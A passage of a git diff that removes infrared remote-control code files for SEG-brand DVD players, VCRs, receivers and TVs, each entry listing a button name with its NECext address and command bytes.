-type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: VT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: FUNC.VT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: HIDDEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir deleted file mode 100644 index d768b8aea..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: l/r/st -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: rds -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: ch-level -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 40 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: fastback -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 44 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 45 00 00 00 -# -name: surrmode -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 46 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 47 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 48 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4F 00 00 00 -# -name: dimmer -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 50 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 52 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 53 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir deleted file mode 100644 index d16606880..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: X_KEY_1-all -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: f.r -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 42 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: vocal-assist -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: f.f -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir deleted file mode 100644 index beef3cc2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: FRWD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: TV_VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: PR+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: PR- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: AD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: A_SEL -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: SP_LP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: FFWD_30 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: PAL_SEC -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: QS -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 27 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 31 00 00 00 -# -name: INDEX+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 33 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 35 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 36 00 00 00 -# -name: SV_V+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 39 00 00 00 -# -name: INDEX- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir deleted file mode 100644 index 47c18f646..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 80 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 81 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 82 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 83 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 84 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 85 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 86 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 87 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 88 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8A 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8B 00 00 00 -# -name: Store -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8C 00 00 00 -# -name: Audio-Preset -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8D 00 00 00 -# -name: Mo/St -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 90 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 91 00 00 00 -# -name: Tuneup -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 92 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 95 00 00 00 -# -name: Tunedown -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 96 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 97 00 00 00 -# -name: Set -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 98 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir deleted file mode 100644 index d26e215f0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 03 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 07 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0B 00 00 00 -# -name: erase -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0C 00 00 00 -# -name: tuneUp -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0F 00 00 00 -# -name: decoder -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 14 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 16 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 19 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 1C 00 00 00 -# -name: TuneDown -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 1D 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 1E 00 00 00 -# -name: h/v -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir deleted file mode 100644 index ef8b3ca11..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: A/S -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: AFC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir deleted file mode 100644 index 106d88547..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: TV_VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: unlabeled_1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: ASEL -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: SP_LP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: COUNT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: >>30 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: PAL_SEC -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: unlabeled_2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 27 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 -# -name: TUNE_LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 31 00 00 00 -# -name: INDEX+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 33 00 00 00 -# -name: TUNE_RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 35 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 36 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 39 00 00 00 -# -name: INDEX- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir deleted file mode 100644 index 718c697c4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 02 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 05 00 00 00 -# -name: operate -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 07 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 08 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 09 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0C 00 00 00 -# -name: rental -type: 